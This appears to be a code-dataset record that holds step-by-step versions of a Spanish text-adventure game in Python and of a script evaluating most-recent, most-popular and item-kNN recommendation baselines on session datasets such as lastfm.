"step-2": "<mask token>\nprint(Dialogos.saludo[0])\n<mask token>\nprint('\\nHola', nombre, 'tienes,', edad, 'años.')\nif edad >= 18:\n print('¡Tienes edad suficiente para jugar!')\n quiere_jugar = input('¿Quieres jugar? ').lower()\n if quiere_jugar == 'si' or 'yes' or 'y' or 's':\n puede_jugar = True\n print('\\n¡Comienza la aventura! (HP = 5)\\n')\n else:\n puede_jugar = False\n print('Adiós...')\nelif edad >= 13:\n print('¡Puedes jugar bajo supervisión!')\n quiere_jugar = input('¿Quieres jugar? ').lower()\n if quiere_jugar == 'si':\n puede_jugar = True\n print('\\n¡Comienza la aventura!\\n')\n else:\n puede_jugar = False\n print('Adiós...')\nelse:\n puede_jugar = False\n print('¡Eres muy joven para jugar!')\n print('Adiós...')\nwhile puede_jugar:\n puntuacion = 0\n hp = hp_inicial\n derrota = False\n while puntuacion < puntuacion_necesaria and derrota == False:\n dado = Funciones.roll_dice(100)\n if dado <= 20:\n lugar_actual = bosque\n elif dado <= 35:\n lugar_actual = ciudad\n elif dado <= 65:\n lugar_actual = montana\n elif dado <= 95:\n lugar_actual = lago\n else:\n lugar_actual = viajero\n print(lugar_actual.descripcion)\n print('a)', lugar_actual.evento_1.nombre, 'b)', lugar_actual.\n evento_2.nombre)\n decision = ''\n while decision != 'a' and decision != 'b':\n decision = input()\n if decision != 'a' and decision != 'b':\n print('Esa opción no existe.')\n if decision == 'a':\n evento_actual = lugar_actual.evento_1\n else:\n evento_actual = lugar_actual.evento_2\n print(evento_actual.descripcion)\n hp, puntuacion, derrota = Funciones.interactuar(evento_actual,\n puntuacion, hp, derrota)\n print('\\n')\n Funciones.comprobar_victoria(derrota, puntuacion)\n quiere_jugar = input('\\n¿Reintentar? ').lower()\n print('\\n')\n if quiere_jugar != 'si' and 'yes' and 'y' and 's':\n puede_jugar = False\n",
"step-3": "<mask token>\npuntuacion_necesaria = 10\nhp_inicial = 5\neventos = [Evento('dormir', 2, False, -3, 4, Dialogos.descripciones_eventos\n [0], Dialogos.descripciones_triunfos[0], Dialogos.\n descripciones_castigos[0]), Evento('cazar', 1, False, -2, 3, Dialogos.\n descripciones_eventos[1], Dialogos.descripciones_triunfos[1], Dialogos.\n descripciones_castigos[1]), Evento('comer', 2, False, 1, 1, Dialogos.\n descripciones_eventos[2], Dialogos.descripciones_triunfos[2], Dialogos.\n descripciones_castigos[2]), Evento('hablar', 0, True, -3, 2, Dialogos.\n descripciones_eventos[3], Dialogos.descripciones_triunfos[3], Dialogos.\n descripciones_castigos[3]), Evento('escalar', 0, True, -4, 3, Dialogos.\n descripciones_eventos[4], Dialogos.descripciones_triunfos[4], Dialogos.\n descripciones_castigos[4]), Evento('rodear', 0, False, -1, 3, Dialogos.\n descripciones_eventos[5], Dialogos.descripciones_triunfos[5], Dialogos.\n descripciones_castigos[5]), Evento('pescar', 2, False, -4, 2, Dialogos.\n descripciones_eventos[6], Dialogos.descripciones_triunfos[6], Dialogos.\n descripciones_castigos[6]), Evento('contar chiste', 0, True, 0, 6,\n Dialogos.descripciones_eventos[7], Dialogos.descripciones_triunfos[7],\n Dialogos.descripciones_castigos[7]), Evento('comprar', 3, False, 0, 6,\n Dialogos.descripciones_eventos[8], Dialogos.descripciones_triunfos[8],\n Dialogos.descripciones_castigos[8])]\ndormir = eventos[0]\ncazar = eventos[1]\ncomer = eventos[2]\nhablar = eventos[3]\nescalar = eventos[4]\nrodear = eventos[5]\npescar = eventos[6]\ncontar_chiste = eventos[7]\ncomprar = eventos[8]\nlugares = [Lugar(1, 20, Dialogos.descripciones_lugares[0], dormir, cazar),\n Lugar(21, 40, Dialogos.descripciones_lugares[1], comer, hablar), Lugar(\n 41, 75, Dialogos.descripciones_lugares[2], escalar, rodear), Lugar(76, \n 90, Dialogos.descripciones_lugares[3], dormir, pescar), Lugar(91, 100,\n Dialogos.descripciones_lugares[4], contar_chiste, comprar)]\nbosque = lugares[0]\nciudad = lugares[1]\nmontana = lugares[2]\nlago = lugares[3]\nviajero = lugares[4]\nprint(Dialogos.saludo[0])\nnombre = input(Dialogos.saludo[1])\nedad = int(input(Dialogos.saludo[2]))\nprint('\\nHola', nombre, 'tienes,', edad, 'años.')\nif edad >= 18:\n print('¡Tienes edad suficiente para jugar!')\n quiere_jugar = input('¿Quieres jugar? ').lower()\n if quiere_jugar == 'si' or 'yes' or 'y' or 's':\n puede_jugar = True\n print('\\n¡Comienza la aventura! (HP = 5)\\n')\n else:\n puede_jugar = False\n print('Adiós...')\nelif edad >= 13:\n print('¡Puedes jugar bajo supervisión!')\n quiere_jugar = input('¿Quieres jugar? ').lower()\n if quiere_jugar == 'si':\n puede_jugar = True\n print('\\n¡Comienza la aventura!\\n')\n else:\n puede_jugar = False\n print('Adiós...')\nelse:\n puede_jugar = False\n print('¡Eres muy joven para jugar!')\n print('Adiós...')\nwhile puede_jugar:\n puntuacion = 0\n hp = hp_inicial\n derrota = False\n while puntuacion < puntuacion_necesaria and derrota == False:\n dado = Funciones.roll_dice(100)\n if dado <= 20:\n lugar_actual = bosque\n elif dado <= 35:\n lugar_actual = ciudad\n elif dado <= 65:\n lugar_actual = montana\n elif dado <= 95:\n lugar_actual = lago\n else:\n lugar_actual = viajero\n print(lugar_actual.descripcion)\n print('a)', lugar_actual.evento_1.nombre, 'b)', lugar_actual.\n evento_2.nombre)\n decision = ''\n while decision != 'a' and decision != 'b':\n decision = input()\n if decision != 'a' and decision != 'b':\n print('Esa opción no existe.')\n if decision == 'a':\n evento_actual = lugar_actual.evento_1\n else:\n evento_actual = lugar_actual.evento_2\n print(evento_actual.descripcion)\n hp, puntuacion, derrota = Funciones.interactuar(evento_actual,\n puntuacion, hp, derrota)\n print('\\n')\n Funciones.comprobar_victoria(derrota, puntuacion)\n quiere_jugar = input('\\n¿Reintentar? ').lower()\n print('\\n')\n if quiere_jugar != 'si' and 'yes' and 'y' and 's':\n puede_jugar = False\n",
"step-4": "from Clases import Lugar\nfrom Clases import Evento\nimport Dialogos\nimport Funciones\npuntuacion_necesaria = 10\nhp_inicial = 5\neventos = [Evento('dormir', 2, False, -3, 4, Dialogos.descripciones_eventos\n [0], Dialogos.descripciones_triunfos[0], Dialogos.\n descripciones_castigos[0]), Evento('cazar', 1, False, -2, 3, Dialogos.\n descripciones_eventos[1], Dialogos.descripciones_triunfos[1], Dialogos.\n descripciones_castigos[1]), Evento('comer', 2, False, 1, 1, Dialogos.\n descripciones_eventos[2], Dialogos.descripciones_triunfos[2], Dialogos.\n descripciones_castigos[2]), Evento('hablar', 0, True, -3, 2, Dialogos.\n descripciones_eventos[3], Dialogos.descripciones_triunfos[3], Dialogos.\n descripciones_castigos[3]), Evento('escalar', 0, True, -4, 3, Dialogos.\n descripciones_eventos[4], Dialogos.descripciones_triunfos[4], Dialogos.\n descripciones_castigos[4]), Evento('rodear', 0, False, -1, 3, Dialogos.\n descripciones_eventos[5], Dialogos.descripciones_triunfos[5], Dialogos.\n descripciones_castigos[5]), Evento('pescar', 2, False, -4, 2, Dialogos.\n descripciones_eventos[6], Dialogos.descripciones_triunfos[6], Dialogos.\n descripciones_castigos[6]), Evento('contar chiste', 0, True, 0, 6,\n Dialogos.descripciones_eventos[7], Dialogos.descripciones_triunfos[7],\n Dialogos.descripciones_castigos[7]), Evento('comprar', 3, False, 0, 6,\n Dialogos.descripciones_eventos[8], Dialogos.descripciones_triunfos[8],\n Dialogos.descripciones_castigos[8])]\ndormir = eventos[0]\ncazar = eventos[1]\ncomer = eventos[2]\nhablar = eventos[3]\nescalar = eventos[4]\nrodear = eventos[5]\npescar = eventos[6]\ncontar_chiste = eventos[7]\ncomprar = eventos[8]\nlugares = [Lugar(1, 20, Dialogos.descripciones_lugares[0], dormir, cazar),\n Lugar(21, 40, Dialogos.descripciones_lugares[1], comer, hablar), Lugar(\n 41, 75, Dialogos.descripciones_lugares[2], escalar, rodear), Lugar(76, \n 90, Dialogos.descripciones_lugares[3], dormir, pescar), Lugar(91, 100,\n Dialogos.descripciones_lugares[4], contar_chiste, comprar)]\nbosque = lugares[0]\nciudad = lugares[1]\nmontana = lugares[2]\nlago = lugares[3]\nviajero = lugares[4]\nprint(Dialogos.saludo[0])\nnombre = input(Dialogos.saludo[1])\nedad = int(input(Dialogos.saludo[2]))\nprint('\\nHola', nombre, 'tienes,', edad, 'años.')\nif edad >= 18:\n print('¡Tienes edad suficiente para jugar!')\n quiere_jugar = input('¿Quieres jugar? ').lower()\n if quiere_jugar == 'si' or 'yes' or 'y' or 's':\n puede_jugar = True\n print('\\n¡Comienza la aventura! (HP = 5)\\n')\n else:\n puede_jugar = False\n print('Adiós...')\nelif edad >= 13:\n print('¡Puedes jugar bajo supervisión!')\n quiere_jugar = input('¿Quieres jugar? ').lower()\n if quiere_jugar == 'si':\n puede_jugar = True\n print('\\n¡Comienza la aventura!\\n')\n else:\n puede_jugar = False\n print('Adiós...')\nelse:\n puede_jugar = False\n print('¡Eres muy joven para jugar!')\n print('Adiós...')\nwhile puede_jugar:\n puntuacion = 0\n hp = hp_inicial\n derrota = False\n while puntuacion < puntuacion_necesaria and derrota == False:\n dado = Funciones.roll_dice(100)\n if dado <= 20:\n lugar_actual = bosque\n elif dado <= 35:\n lugar_actual = ciudad\n elif dado <= 65:\n lugar_actual = montana\n elif dado <= 95:\n lugar_actual = lago\n else:\n lugar_actual = viajero\n print(lugar_actual.descripcion)\n print('a)', lugar_actual.evento_1.nombre, 'b)', lugar_actual.\n evento_2.nombre)\n decision = ''\n while decision != 'a' and decision != 'b':\n decision = input()\n if decision != 'a' and decision != 'b':\n print('Esa opción no existe.')\n if decision == 'a':\n evento_actual = lugar_actual.evento_1\n else:\n evento_actual = lugar_actual.evento_2\n print(evento_actual.descripcion)\n hp, puntuacion, derrota = Funciones.interactuar(evento_actual,\n puntuacion, hp, derrota)\n print('\\n')\n Funciones.comprobar_victoria(derrota, puntuacion)\n quiere_jugar = input('\\n¿Reintentar? ').lower()\n print('\\n')\n if quiere_jugar != 'si' and 'yes' and 'y' and 's':\n puede_jugar = False\n",
"step-5": "# -*- coding: utf-8 -*-\r\nfrom Clases import Lugar\r\nfrom Clases import Evento\r\n\r\nimport Dialogos\r\nimport Funciones\r\n\r\npuntuacion_necesaria = 10\r\nhp_inicial = 5\r\n\r\n\r\neventos = [\r\n Evento(\"dormir\", 2, False, -3, 4, Dialogos.descripciones_eventos[0], Dialogos.descripciones_triunfos[0],\r\n Dialogos.descripciones_castigos[0]),\r\n Evento(\"cazar\", 1, False, -2, 3, Dialogos.descripciones_eventos[1], Dialogos.descripciones_triunfos[1],\r\n Dialogos.descripciones_castigos[1]),\r\n Evento(\"comer\", 2, False, 1, 1, Dialogos.descripciones_eventos[2], Dialogos.descripciones_triunfos[2],\r\n Dialogos.descripciones_castigos[2]),\r\n Evento(\"hablar\", 0, True, -3, 2, Dialogos.descripciones_eventos[3], Dialogos.descripciones_triunfos[3],\r\n Dialogos.descripciones_castigos[3]),\r\n Evento(\"escalar\", 0, True, -4, 3, Dialogos.descripciones_eventos[4], Dialogos.descripciones_triunfos[4],\r\n Dialogos.descripciones_castigos[4]),\r\n Evento(\"rodear\", 0, False, -1, 3, Dialogos.descripciones_eventos[5], Dialogos.descripciones_triunfos[5],\r\n Dialogos.descripciones_castigos[5]),\r\n Evento(\"pescar\", 2, False, -4, 2, Dialogos.descripciones_eventos[6], Dialogos.descripciones_triunfos[6],\r\n Dialogos.descripciones_castigos[6]),\r\n Evento(\"contar chiste\", 0, True, 0, 6, Dialogos.descripciones_eventos[7], Dialogos.descripciones_triunfos[7],\r\n Dialogos.descripciones_castigos[7]),\r\n Evento(\"comprar\", 3, False, 0, 6, Dialogos.descripciones_eventos[8], Dialogos.descripciones_triunfos[8],\r\n Dialogos.descripciones_castigos[8])\r\n]\r\n\r\ndormir = eventos[0]\r\ncazar = eventos[1]\r\ncomer = eventos[2]\r\nhablar = eventos[3]\r\nescalar = eventos[4]\r\nrodear = eventos[5]\r\npescar = eventos[6]\r\ncontar_chiste = eventos[7]\r\ncomprar = eventos[8]\r\n\r\nlugares = [\r\n Lugar(1, 20, Dialogos.descripciones_lugares[0], dormir, cazar),\r\n Lugar(21, 40, Dialogos.descripciones_lugares[1], comer, hablar),\r\n Lugar(41, 75, Dialogos.descripciones_lugares[2], escalar, rodear),\r\n Lugar(76, 90, Dialogos.descripciones_lugares[3], dormir, pescar),\r\n Lugar(91, 100, Dialogos.descripciones_lugares[4], contar_chiste, comprar)\r\n]\r\n\r\nbosque = lugares[0]\r\nciudad = lugares[1]\r\nmontana = lugares[2]\r\nlago = lugares[3]\r\nviajero = lugares[4]\r\n\r\nprint(Dialogos.saludo[0])\r\nnombre = input(Dialogos.saludo[1])\r\nedad = int(input(Dialogos.saludo[2]))\r\n\r\nprint(\"\\nHola\", nombre, \"tienes,\", edad, \"años.\")\r\n\r\nif edad >= 18:\r\n print(\"¡Tienes edad suficiente para jugar!\")\r\n quiere_jugar = input(\"¿Quieres jugar? \").lower()\r\n\r\n if quiere_jugar == \"si\" or \"yes\" or \"y\" or \"s\":\r\n puede_jugar = True\r\n print(\"\\n¡Comienza la aventura! (HP = 5)\\n\")\r\n\r\n else:\r\n puede_jugar = False\r\n print(\"Adiós...\")\r\n\r\nelif edad >= 13:\r\n print(\"¡Puedes jugar bajo supervisión!\")\r\n quiere_jugar = input(\"¿Quieres jugar? \").lower()\r\n\r\n if quiere_jugar == \"si\":\r\n puede_jugar = True\r\n print(\"\\n¡Comienza la aventura!\\n\")\r\n else:\r\n puede_jugar = False\r\n print(\"Adiós...\")\r\n\r\nelse:\r\n puede_jugar = False\r\n print(\"¡Eres muy joven para jugar!\")\r\n print(\"Adiós...\")\r\n\r\nwhile puede_jugar:\r\n puntuacion = 0\r\n hp = hp_inicial\r\n derrota = False\r\n\r\n while puntuacion < puntuacion_necesaria and derrota == False:\r\n dado = Funciones.roll_dice(100)\r\n if dado <= 20:\r\n lugar_actual = bosque\r\n elif dado <= 35:\r\n lugar_actual = ciudad\r\n elif dado <= 65:\r\n lugar_actual = montana\r\n elif dado <= 95:\r\n lugar_actual = lago\r\n else:\r\n lugar_actual = viajero\r\n\r\n print(lugar_actual.descripcion)\r\n print(\"a)\", lugar_actual.evento_1.nombre, \"b)\", lugar_actual.evento_2.nombre)\r\n decision = \"\"\r\n\r\n while decision != \"a\" and decision != \"b\":\r\n decision = input()\r\n\r\n if decision != \"a\" and decision != \"b\":\r\n print(\"Esa opción no existe.\")\r\n\r\n if decision == \"a\":\r\n evento_actual = lugar_actual.evento_1\r\n else:\r\n evento_actual = lugar_actual.evento_2\r\n\r\n print(evento_actual.descripcion)\r\n\r\n (hp, puntuacion, derrota) = Funciones.interactuar(evento_actual, puntuacion, hp, derrota)\r\n print(\"\\n\")\r\n\r\n Funciones.comprobar_victoria(derrota, puntuacion)\r\n\r\n quiere_jugar = input(\"\\n¿Reintentar? \").lower()\r\n print(\"\\n\")\r\n if quiere_jugar != \"si\" and \"yes\" and \"y\" and \"s\":\r\n puede_jugar = False",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
import collections
import datetime
import os
import pickle
import random
import time
from lastfm_utils import PlainRNNDataHandler
from test_util import Tester
reddit = "subreddit"
lastfm = "lastfm"
instacart = "instacart"
#
# Choose dataset here
#
dataset = lastfm
#
# Specify the correct path to the dataset
#
dataset_path = os.path.expanduser('~') + '/datasets/'+dataset+'/4_train_test_split.pickle'
date_now = datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d')
log_file = './testlog/'+str(date_now)+'-testing'
# Does not really matter. Only needs to be here because of my earler short sightedness. Used by test_util
BATCHSIZE = 2
datahandler = PlainRNNDataHandler(dataset_path, BATCHSIZE, log_file)
num_train_batches = datahandler.get_num_training_batches()
num_test_batches = datahandler.get_num_test_batches()
num_items = datahandler.get_num_items()
#
# MAX_SESSION_LENGTH -1. Change this if you change the length in preprocessing
#
num_predictions = 19
# Log dataset and baseline model
def log_config(baseline):
message = "------------------------------------------------------------------------"
message += "\nDATASET: "+dataset
message += "\nBASELINE: "+baseline
datahandler.log_config(message)
print(message)
# Create sequence of predictions for one session, with the 'most recent' baseline
def most_recent_sequence_predicions(sequence, sequence_length):
full_prediction_sequence = random.sample(range(1, num_items), num_predictions)
predictions = []
for i in range(sequence_length):
current_item = sequence[i]
if current_item in full_prediction_sequence:
index = full_prediction_sequence.index(current_item)
del(full_prediction_sequence[index])
full_prediction_sequence.insert(0, current_item)
predictions.append(full_prediction_sequence[:num_predictions])
return predictions
# The 'most recent' baseline. A stack where the most recent item in the session is pushed on top.
def most_recent():
log_config("most_recent")
datahandler.reset_user_batch_data()
tester = Tester()
x, y, sl = datahandler.get_next_test_batch()
while len(x) > int(BATCHSIZE/2):
prediction_batch = []
for i in range(len(x)):
prediction_batch.append(most_recent_sequence_predicions(x[i], sl[i]))
tester.evaluate_batch(prediction_batch, y, sl)
x, y, sl = datahandler.get_next_test_batch()
test_stats, _1, _2 = tester.get_stats_and_reset()
print(test_stats)
datahandler.log_test_stats(0, 0, test_stats)
# The 'most popular' baseline. Count frequence of all items, and predict the top k (20) most frequent items
def most_popular():
log_config("most_popular")
datahandler.reset_user_batch_data()
popularity_count = [0]*(num_items+1)
tester = Tester()
# Training
x, y, sl = datahandler.get_next_train_batch()
while len(x) > int(BATCHSIZE/2):
for i in range(len(x)):
sequence_length = sl[i]+1
items = x[i][:sequence_length]
for item in items:
popularity_count[item] += 1
x, y, sl = datahandler.get_next_train_batch()
top_k = sorted(range(len(popularity_count)), key=lambda i:popularity_count[i])
top_k = top_k[-num_predictions:]
top_k = list(reversed(top_k))
# Testing
datahandler.reset_user_batch_data()
x, y, sl = datahandler.get_next_test_batch()
while len(x) > int(BATCHSIZE/2):
prediction_batch = []
for i in range(len(x)):
sequence_predictions = []
for j in range(sl[i]):
sequence_predictions.append(top_k)
prediction_batch.append(sequence_predictions)
tester.evaluate_batch(prediction_batch, y, sl)
x, y, sl = datahandler.get_next_test_batch()
test_stats, _1, _2 = tester.get_stats_and_reset()
print(test_stats)
datahandler.log_test_stats(0, 0, test_stats)
# Item-kNN baseline. Count cooccurences of items. Predict items with highest cooccurences with the current item
def knn():
global num_train_batches
log_config("kNN")
datahandler.reset_user_batch_data()
cooccurrances = []
for i in range(num_items):
cooccurrances.append({})
# Training
x, y, sl = datahandler.get_next_train_batch()
while len(x) > int(BATCHSIZE/2):
print("train", num_train_batches)
num_train_batches -= 1
for b in range(len(x)):
sequence_length = sl[b]+1
items = x[b][:sequence_length]
# For each item in the session, increment cooccurences with the remaining items in the session
for i in range(len(items)-1):
for j in range(i+1, len(items)):
if items[j] not in cooccurrances[items[i]]:
cooccurrances[items[i]][items[j]] = 0
cooccurrances[items[i]][items[j]] += 1
x, y, sl = datahandler.get_next_train_batch()
# Find the highest cooccurences
preds = [None]*num_items
for i in range(num_items):
d = cooccurrances[i]
d = list(d.items())
d = sorted(d, key=lambda x:x[1])
d = [x[0] for x in d[-num_predictions:]]
preds[i] = list(reversed(d))
del(cooccurrances)
#Testing
tester = Tester()
datahandler.reset_user_batch_data()
x, y, sl = datahandler.get_next_test_batch()
while len(x) > int(BATCHSIZE/2):
prediction_batch = []
for b in range(len(x)):
sequence_predictions = []
for i in range(sl[b]):
current_item = x[b][i]
sequence_predictions.append(preds[current_item])
prediction_batch.append(sequence_predictions)
tester.evaluate_batch(prediction_batch, y, sl)
x, y, sl = datahandler.get_next_test_batch()
test_stats, _1, _2 = tester.get_stats_and_reset()
print(test_stats)
datahandler.log_test_stats(0, 0, test_stats)
most_recent()
most_popular()
knn()
|
normal
|
{
"blob_id": "9e8ddf6c35ebad329e1f5a48513e4bfaae0d9a6f",
"index": 4925,
"step-1": "<mask token>\n\n\ndef log_config(baseline):\n message = (\n '------------------------------------------------------------------------'\n )\n message += '\\nDATASET: ' + dataset\n message += '\\nBASELINE: ' + baseline\n datahandler.log_config(message)\n print(message)\n\n\n<mask token>\n\n\ndef most_recent():\n log_config('most_recent')\n datahandler.reset_user_batch_data()\n tester = Tester()\n x, y, sl = datahandler.get_next_test_batch()\n while len(x) > int(BATCHSIZE / 2):\n prediction_batch = []\n for i in range(len(x)):\n prediction_batch.append(most_recent_sequence_predicions(x[i],\n sl[i]))\n tester.evaluate_batch(prediction_batch, y, sl)\n x, y, sl = datahandler.get_next_test_batch()\n test_stats, _1, _2 = tester.get_stats_and_reset()\n print(test_stats)\n datahandler.log_test_stats(0, 0, test_stats)\n\n\ndef most_popular():\n log_config('most_popular')\n datahandler.reset_user_batch_data()\n popularity_count = [0] * (num_items + 1)\n tester = Tester()\n x, y, sl = datahandler.get_next_train_batch()\n while len(x) > int(BATCHSIZE / 2):\n for i in range(len(x)):\n sequence_length = sl[i] + 1\n items = x[i][:sequence_length]\n for item in items:\n popularity_count[item] += 1\n x, y, sl = datahandler.get_next_train_batch()\n top_k = sorted(range(len(popularity_count)), key=lambda i:\n popularity_count[i])\n top_k = top_k[-num_predictions:]\n top_k = list(reversed(top_k))\n datahandler.reset_user_batch_data()\n x, y, sl = datahandler.get_next_test_batch()\n while len(x) > int(BATCHSIZE / 2):\n prediction_batch = []\n for i in range(len(x)):\n sequence_predictions = []\n for j in range(sl[i]):\n sequence_predictions.append(top_k)\n prediction_batch.append(sequence_predictions)\n tester.evaluate_batch(prediction_batch, y, sl)\n x, y, sl = datahandler.get_next_test_batch()\n test_stats, _1, _2 = tester.get_stats_and_reset()\n print(test_stats)\n datahandler.log_test_stats(0, 0, test_stats)\n\n\ndef knn():\n global num_train_batches\n log_config('kNN')\n datahandler.reset_user_batch_data()\n cooccurrances = []\n for i in range(num_items):\n cooccurrances.append({})\n x, y, sl = datahandler.get_next_train_batch()\n while len(x) > int(BATCHSIZE / 2):\n print('train', num_train_batches)\n num_train_batches -= 1\n for b in range(len(x)):\n sequence_length = sl[b] + 1\n items = x[b][:sequence_length]\n for i in range(len(items) - 1):\n for j in range(i + 1, len(items)):\n if items[j] not in cooccurrances[items[i]]:\n cooccurrances[items[i]][items[j]] = 0\n cooccurrances[items[i]][items[j]] += 1\n x, y, sl = datahandler.get_next_train_batch()\n preds = [None] * num_items\n for i in range(num_items):\n d = cooccurrances[i]\n d = list(d.items())\n d = sorted(d, key=lambda x: x[1])\n d = [x[0] for x in d[-num_predictions:]]\n preds[i] = list(reversed(d))\n del cooccurrances\n tester = Tester()\n datahandler.reset_user_batch_data()\n x, y, sl = datahandler.get_next_test_batch()\n while len(x) > int(BATCHSIZE / 2):\n prediction_batch = []\n for b in range(len(x)):\n sequence_predictions = []\n for i in range(sl[b]):\n current_item = x[b][i]\n sequence_predictions.append(preds[current_item])\n prediction_batch.append(sequence_predictions)\n tester.evaluate_batch(prediction_batch, y, sl)\n x, y, sl = datahandler.get_next_test_batch()\n test_stats, _1, _2 = tester.get_stats_and_reset()\n print(test_stats)\n datahandler.log_test_stats(0, 0, test_stats)\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef log_config(baseline):\n message = (\n '------------------------------------------------------------------------'\n )\n message += '\\nDATASET: ' + dataset\n message += '\\nBASELINE: ' + baseline\n datahandler.log_config(message)\n print(message)\n\n\ndef most_recent_sequence_predicions(sequence, sequence_length):\n full_prediction_sequence = random.sample(range(1, num_items),\n num_predictions)\n predictions = []\n for i in range(sequence_length):\n current_item = sequence[i]\n if current_item in full_prediction_sequence:\n index = full_prediction_sequence.index(current_item)\n del full_prediction_sequence[index]\n full_prediction_sequence.insert(0, current_item)\n predictions.append(full_prediction_sequence[:num_predictions])\n return predictions\n\n\ndef most_recent():\n log_config('most_recent')\n datahandler.reset_user_batch_data()\n tester = Tester()\n x, y, sl = datahandler.get_next_test_batch()\n while len(x) > int(BATCHSIZE / 2):\n prediction_batch = []\n for i in range(len(x)):\n prediction_batch.append(most_recent_sequence_predicions(x[i],\n sl[i]))\n tester.evaluate_batch(prediction_batch, y, sl)\n x, y, sl = datahandler.get_next_test_batch()\n test_stats, _1, _2 = tester.get_stats_and_reset()\n print(test_stats)\n datahandler.log_test_stats(0, 0, test_stats)\n\n\ndef most_popular():\n log_config('most_popular')\n datahandler.reset_user_batch_data()\n popularity_count = [0] * (num_items + 1)\n tester = Tester()\n x, y, sl = datahandler.get_next_train_batch()\n while len(x) > int(BATCHSIZE / 2):\n for i in range(len(x)):\n sequence_length = sl[i] + 1\n items = x[i][:sequence_length]\n for item in items:\n popularity_count[item] += 1\n x, y, sl = datahandler.get_next_train_batch()\n top_k = sorted(range(len(popularity_count)), key=lambda i:\n popularity_count[i])\n top_k = top_k[-num_predictions:]\n top_k = list(reversed(top_k))\n datahandler.reset_user_batch_data()\n x, y, sl = datahandler.get_next_test_batch()\n while len(x) > int(BATCHSIZE / 2):\n prediction_batch = []\n for i in range(len(x)):\n sequence_predictions = []\n for j in range(sl[i]):\n sequence_predictions.append(top_k)\n prediction_batch.append(sequence_predictions)\n tester.evaluate_batch(prediction_batch, y, sl)\n x, y, sl = datahandler.get_next_test_batch()\n test_stats, _1, _2 = tester.get_stats_and_reset()\n print(test_stats)\n datahandler.log_test_stats(0, 0, test_stats)\n\n\ndef knn():\n global num_train_batches\n log_config('kNN')\n datahandler.reset_user_batch_data()\n cooccurrances = []\n for i in range(num_items):\n cooccurrances.append({})\n x, y, sl = datahandler.get_next_train_batch()\n while len(x) > int(BATCHSIZE / 2):\n print('train', num_train_batches)\n num_train_batches -= 1\n for b in range(len(x)):\n sequence_length = sl[b] + 1\n items = x[b][:sequence_length]\n for i in range(len(items) - 1):\n for j in range(i + 1, len(items)):\n if items[j] not in cooccurrances[items[i]]:\n cooccurrances[items[i]][items[j]] = 0\n cooccurrances[items[i]][items[j]] += 1\n x, y, sl = datahandler.get_next_train_batch()\n preds = [None] * num_items\n for i in range(num_items):\n d = cooccurrances[i]\n d = list(d.items())\n d = sorted(d, key=lambda x: x[1])\n d = [x[0] for x in d[-num_predictions:]]\n preds[i] = list(reversed(d))\n del cooccurrances\n tester = Tester()\n datahandler.reset_user_batch_data()\n x, y, sl = datahandler.get_next_test_batch()\n while len(x) > int(BATCHSIZE / 2):\n prediction_batch = []\n for b in range(len(x)):\n sequence_predictions = []\n for i in range(sl[b]):\n current_item = x[b][i]\n sequence_predictions.append(preds[current_item])\n prediction_batch.append(sequence_predictions)\n tester.evaluate_batch(prediction_batch, y, sl)\n x, y, sl = datahandler.get_next_test_batch()\n test_stats, _1, _2 = tester.get_stats_and_reset()\n print(test_stats)\n datahandler.log_test_stats(0, 0, test_stats)\n\n\nmost_recent()\nmost_popular()\nknn()\n",
"step-3": "<mask token>\nreddit = 'subreddit'\nlastfm = 'lastfm'\ninstacart = 'instacart'\ndataset = lastfm\ndataset_path = os.path.expanduser('~'\n ) + '/datasets/' + dataset + '/4_train_test_split.pickle'\ndate_now = datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d')\nlog_file = './testlog/' + str(date_now) + '-testing'\nBATCHSIZE = 2\ndatahandler = PlainRNNDataHandler(dataset_path, BATCHSIZE, log_file)\nnum_train_batches = datahandler.get_num_training_batches()\nnum_test_batches = datahandler.get_num_test_batches()\nnum_items = datahandler.get_num_items()\nnum_predictions = 19\n\n\ndef log_config(baseline):\n message = (\n '------------------------------------------------------------------------'\n )\n message += '\\nDATASET: ' + dataset\n message += '\\nBASELINE: ' + baseline\n datahandler.log_config(message)\n print(message)\n\n\ndef most_recent_sequence_predicions(sequence, sequence_length):\n full_prediction_sequence = random.sample(range(1, num_items),\n num_predictions)\n predictions = []\n for i in range(sequence_length):\n current_item = sequence[i]\n if current_item in full_prediction_sequence:\n index = full_prediction_sequence.index(current_item)\n del full_prediction_sequence[index]\n full_prediction_sequence.insert(0, current_item)\n predictions.append(full_prediction_sequence[:num_predictions])\n return predictions\n\n\ndef most_recent():\n log_config('most_recent')\n datahandler.reset_user_batch_data()\n tester = Tester()\n x, y, sl = datahandler.get_next_test_batch()\n while len(x) > int(BATCHSIZE / 2):\n prediction_batch = []\n for i in range(len(x)):\n prediction_batch.append(most_recent_sequence_predicions(x[i],\n sl[i]))\n tester.evaluate_batch(prediction_batch, y, sl)\n x, y, sl = datahandler.get_next_test_batch()\n test_stats, _1, _2 = tester.get_stats_and_reset()\n print(test_stats)\n datahandler.log_test_stats(0, 0, test_stats)\n\n\ndef most_popular():\n log_config('most_popular')\n datahandler.reset_user_batch_data()\n popularity_count = [0] * (num_items + 1)\n tester = Tester()\n x, y, sl = datahandler.get_next_train_batch()\n while len(x) > int(BATCHSIZE / 2):\n for i in range(len(x)):\n sequence_length = sl[i] + 1\n items = x[i][:sequence_length]\n for item in items:\n popularity_count[item] += 1\n x, y, sl = datahandler.get_next_train_batch()\n top_k = sorted(range(len(popularity_count)), key=lambda i:\n popularity_count[i])\n top_k = top_k[-num_predictions:]\n top_k = list(reversed(top_k))\n datahandler.reset_user_batch_data()\n x, y, sl = datahandler.get_next_test_batch()\n while len(x) > int(BATCHSIZE / 2):\n prediction_batch = []\n for i in range(len(x)):\n sequence_predictions = []\n for j in range(sl[i]):\n sequence_predictions.append(top_k)\n prediction_batch.append(sequence_predictions)\n tester.evaluate_batch(prediction_batch, y, sl)\n x, y, sl = datahandler.get_next_test_batch()\n test_stats, _1, _2 = tester.get_stats_and_reset()\n print(test_stats)\n datahandler.log_test_stats(0, 0, test_stats)\n\n\ndef knn():\n global num_train_batches\n log_config('kNN')\n datahandler.reset_user_batch_data()\n cooccurrances = []\n for i in range(num_items):\n cooccurrances.append({})\n x, y, sl = datahandler.get_next_train_batch()\n while len(x) > int(BATCHSIZE / 2):\n print('train', num_train_batches)\n num_train_batches -= 1\n for b in range(len(x)):\n sequence_length = sl[b] + 1\n items = 